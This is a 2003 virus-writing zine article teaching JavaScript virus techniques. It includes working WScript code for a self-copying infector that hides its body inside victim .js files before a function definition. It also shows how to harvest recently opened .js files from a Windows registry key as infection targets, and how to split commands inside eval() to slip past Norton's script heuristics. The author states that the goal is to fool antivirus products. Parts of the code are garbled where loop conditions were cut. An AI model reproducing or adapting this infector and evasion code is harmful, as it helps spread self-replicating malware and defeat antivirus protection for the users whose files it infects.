Last article | Table of contents | Next article |
---|
Useful things in JavaScript by Second Part To Hell
.intro words After writing articles about encryption and polymorphism in JavaScript I also discovered some other things in JavaScript. But that techniques are too short to write more articles about it, so I decided to write one containing all the things I found out while discovering that language. So, here we are... .index 1) EPO or middle infection in JavaScript 2) Searching for victims in the registry (Not for Win95|98|ME) 3) Encrypting commands .EPO or middle infection in JavaScript Entry-Point Obscuring is a neverseen technique in JavaScript, also it will be hard to detect the virus inside the file and it will be even harder to desinfect a file infected by an EPO JavaScript virus. But I think, that I have to explain the technique for everybody. I wanna show you a normal file and a file infect by an EPO virus: Not infected sample: Infected sample: _______________ _______________ | | | | | commands | | Call to virus | | | | | | commands | | commands | | | | | | commands | | commands | | | | | | commands | | Virus | |_______________| | | | commands | | | | commands | |_______________| OK, what to do? First we have to search for any .JS file. Then we want to write the virus code to any line of the program. Sounds easy, but you forgot something: You can't write your code to any place of the file, because the real program would be killed. So, where to include the virus-code? A possible answer: Include your code before any 'function' in the code. If you do so, the orginal host-file won't be destroyed. Another fact you have to think of is, that you have to search your virus-code in the file, and not to copy the whole file (=viruscode+host code) to the new victim. OK, now let's have a look at the example file. - - - - - - - [EPO-example] - - - - - - - virus() function virus() { var fso=WScript.CreateObject("Scripting.FileSystemObject") var myfile=fso.OpenTextFile(WScript.ScriptFullName) var mycode=""; var line=String.fromCharCode(13)+String.fromCharCode(10) for (i=0; i<500; i++) { code=myfile.ReadLine() if (code=="function virus()") { for (j=1; j<31; j++) { mycode+=code+line; code=myfile.ReadLine() } i=666; } } var vicall=fso.OpenTextFile("victim.js").ReadAll() var victim=fso.OpenTextFile("victim.js") var vcode=""; var viccodes=""; vsearch="FUNCTION"; for (i=0; i> virus() Guess what? That's the call to the virus-function. Without it, the file would be infected, but the virus would never run. Because of that I thought, it's better to include that line :D >> function virus() >> { That's our function. Here starts the virus-code. >> var fso=WScript.CreateObject("Scripting.FileSystemObject") >> var myfile=fso.OpenTextFile(WScript.ScriptFullName) 'fso' is the FileSystemObject. Without that we won't be able to read or write anything to a file. That means, it's a very important object. And myfile is the variable, in which we opened our own file. >> var mycode=""; var line=String.fromCharCode(13)+String.fromCharCode(10) We set some variables: 'mycode' will contain the viruscode at the end of the virus-run, and line contains chr(13)+chr(10). What's that, you may think? That's the same as the 'enter'-key ;) >> for (i=0; i<500; i++) >> { Next things will run 500 times (not really, because the 'for' will stop after finishing reading from the victim-file. >> code=myfile.ReadLine() Does what it sounds like: Now code is one line of our own file. We need it, because we want to find our virus-code. (maybe not in the first generation, but for sure in the next ones) >> if (code=="function virus()") >> { If we found the first line of our code, let's do the next commands. >> for (j=1; j<31; j++) { mycode+=code+line; code=myfile.ReadLine() } The virus-code has 31 lines, because of that we have to read to the 31st line we find after the start. Then we have the viruscode. >> i=666; >> } >> } This is a very ugly way to stop a 'for', but my favorite one :). After that the 'for' ends and then the 'if'. >> var vicall=fso.OpenTextFile("victim.js").ReadAll() vicall=the whole code of the victim, that we want to infect. We need that because we want to know the size of the victim. >> var victim=fso.OpenTextFile("victim.js") Now we open our victim again to read every letter for its own, because we want wo find a function. >> var vcode=""; var viccodes=""; vsearch="FUNCTION"; That's three variables we need in our code. vcode is compained one byte every run of the next 'for', viccode will contain the whole code of the victim before the function starts, and vsearch contains the searchstring, that we need to compair with the string we found in our victim. >> for (i=0; i > { Next things will run as often as our victim is long. >> vcode=victim.Read(1); We read one byte of the victimcode. >> if (vcode.toUpperCase()=="F") >> { If the uppercase of the letter we read is "F", we do the next things (maybe we found a function?! yahuu :D ) >> for (j=1; j<8; j++) { vcode+=victim.Read(1); if (vcode.toUpperCase() !=vsearch.substring(0,j+1)) { j=666 }; i++; } We read 8 more letters (F=1, U=2, N=3, ...). If that string we found is not the string we're searching for, we stop to read more letters this time ('j=666'=close the for in my favorite way). Then we add 1 to i, otherwise there would be a 'Read After EOF'-Error. >> } Close our important 'if'. >> if (vcode.toUpperCase()==vsearch) { i=vicall.lenght+666 } Now let's compair, if the whole string we read ('F'+7 other letters) is the thing we're searching for ('FUNCTION'). If yes, we stop to search functions, because we already found one... ;) >> if (vcode.toUpperCase()!=vsearch) { viccodes+=vcode } If the things aren't the same, we copy the 8 letters to our start of the victim-code, because we'll need them at the end of the code. >> } End of the "searching for functions"-'for'. >> virinc=fso.OpenTextFile("victim.js", 2).Write("virus()"+line+viccodes+line+mycode+line+"function"+victim.ReadAll()) We open the victim again to write into it (look at the '2'). Then we write a call to our virus-function ('virus()') into it. Then we'll add a blank line, then the victim-code before the function, then again a blank line, then our virus code, then once more a blank line, then the string "function" (because we didn't add it to any variable), than the rest of the victim-code. Here we have it... our infected file ;) >> victim.Close(); Let's close te victim-file. >> } And end our virus function. - - - - - - - [end of EPO-example-explanation] - - - - - - - .Searching for victims in the registry (Not for Win95|98|ME) At least every JavaScript virus (not worm!) searches for files in the current directory and sometimes also in Windows-, System- or Temp-directories. But I'm sure, that no user will execute a file in the system or temp-directory. Because of that I thought, I have to find another way to find victims, and suddenly the Registry came to my mind. OK, now let's search files from the registry. Now we have to know the key, where we can find the files. And here it is: - - - - - - - - [registry-key for JavaScript files] - - - - - - - - - HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\MRUList - - - - - - - [end of registry-key for JavaScript files] - - - - - - - Now we have a list of some JavaScript-files. For instance that: - - - - - - - [registry-key list] - - - - - - - (standart) REG_SZ (no value) a REG_SZ C:\Windows\victim.js b REG_SZ C:\Files\JavaScripts\work.js c REG_SZ D:\Games\Race-Game\runme.js d REG_SZ C:\My Shared Docs\flowers.js MRUList REG_SZ dcab - - - - - [end of registry-key list] - - - - - - Our list contains four files, but it's also possible, that there are ten samples. OK, but how do we know, how many files there are? We want to infect every of this files, but if we try to read a key, that doesn't exist, there will be an error. So what to do? Let's look at the 'MRUList'. It's value contains every key, that contains a file. What to do with it? We have to read the whole 'MRUList' value, then we read every key, that is in the 'MRUList'. Dadaaa... we have all files ;) Maybe you don't really understand, what I mean, because of that, here's an example. - - - - - - - [registry-key example] - - - - - - - - - - var fso=WScript.CreateObject("Scripting.FileSystemObject") var shell=WScript.CreateObject("WScript.Shell") MRU="HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\" MRUList=shell.RegRead(MRU+"MRUList") for (i=1; i<=MRUList.length; i++) { victim=shell.RegRead(MRU+MRUList.substring(i-1,i)) if (fso.FileExists(victim)) { WScript.Echo(victim) } } - - - - - - - [end of registry-key example] - - - - - - - That example makes a MessageBox for every file, which is in that key, and that exists on the computer (because it's able, that there is a file-name in the registry and it doesn't exist at the computer anymore), because we don't want to have a "File not found" error. Now you'll find an exact explanation of the example. - - - - - - - [explanation of registry-key example] - - - - - - - - - - >> var fso=WScript.CreateObject("Scripting.FileSystemObject") >> var shell=WScript.CreateObject("WScript.Shell") This are two variables, that are used for reading from the registry (shell) and for checking if the file exists (fso). >> MRU="HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\js\\" The variable with the key for the registry. I wrote it to a variable, otherwise the program would be bigger, because I've to use this key two times. >> MRUList=shell.RegRead(MRU+"MRUList") This variable is the content of the 'MRUList'. In our example it was 'dcba'. I'll use it to check, how many entries are in the key. >> for (i=1; i<=MRUList.length; i++) >> { The next things will run as often, as long MRUList is (in our example 4 Bytes= 4 times). I used this, because we know, as many letters in MRUList are, as many entrys are in the key. >> victim=shell.RegRead(MRU+MRUList.substring(i-1,i)) Variable 'victim' is one letter of the content from MRUList. For instands first run i=1: i-1,i: 1-1,1: 0,1: we read everything from letter zero to letter one (= the first letter in the content). :) >> if (fso.FileExists(victim)) >> { Let's check, if the file already exists on the computer. If yes, we'll do the next things. If not, we won't do it. If the file exists, 'fso.FileExists(victim)' will return the value 1. And that's 'TRUE'. Else it will return the value 0 (='FALSE'). I think, you got the point. >> WScript.Echo(victim) After finding the key, that contains the filename, finding the filename and checking if the file exists, we're making a messagebox and write the filename to it. If you use this technique for a virus, you have to include your file-infection code here. But I thought, that I don't have to include a virus-body. :) >> } >> } The last part in the example is the end of the 'if', which checked, if the file exists and the end of the 'for', which runs as often as files exist. - - - - - - - [end of explanation of registry-key example] - - - - - - - .Encrypting commands While writing an article about JavaScript string encryption, I had no idea how to encrypt the commands, also they are as important as the strings. After reading some things about JavaScript, the idea came to my mind. And it's a very nice one. The principle of the whole idea is the command 'eval()'. The command runs strings. :) Let's have a look at the command. - - - - - - - ['eval()' example] - - - - - - - eval('WScript.Echo("Any silly message")') - - - - - - [end of 'eval()' example] - - - - - You got the point? The only thing we have to do is to encrypt the command in the same way as a string, and set it to the command. This could be very important, because for instands Norton AV's Script-Checker Heuristic would detect a virus, that creates a simple file. Now let's look at an encrypted example. The example only generates a new file named 'eval.txt'. As you will see, this is only a little encrypted, but Norton Script Checker doesn't detect anything :) - - - - - - ['eval()' encryption example] - - - - - - - var ene="e" var eni="i" eval('WScr'+eni+'pt.Cr'+ene+'at'+ene+'Object("Scripting.FileSystemObject").Cr'+ene+'at'+ene+'T'+ene+'xtF'+eni+'l'+ene+'("eval.txt")') - - - - - [end of 'eval()' encryption example] - - - - - .last words I think, that these techniques are very useful, if you want to make a JavaScript virus. And I'm sure, that AV's will have problems to deinfect a virus useing my EPO technique, to detect a virus, wich is 100% encrypted with the 'eval()' technique. And I'm sure, that spreading the virus ALSO (not only) with that registry technique will be much more successful than not useing it. My goal is to fool AVs with techniques, that are hard to detect or deinfect. And I think, this time I was successful in doing that. :) - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu written in may 2003 Austria - - - - - - - - - - - - - - -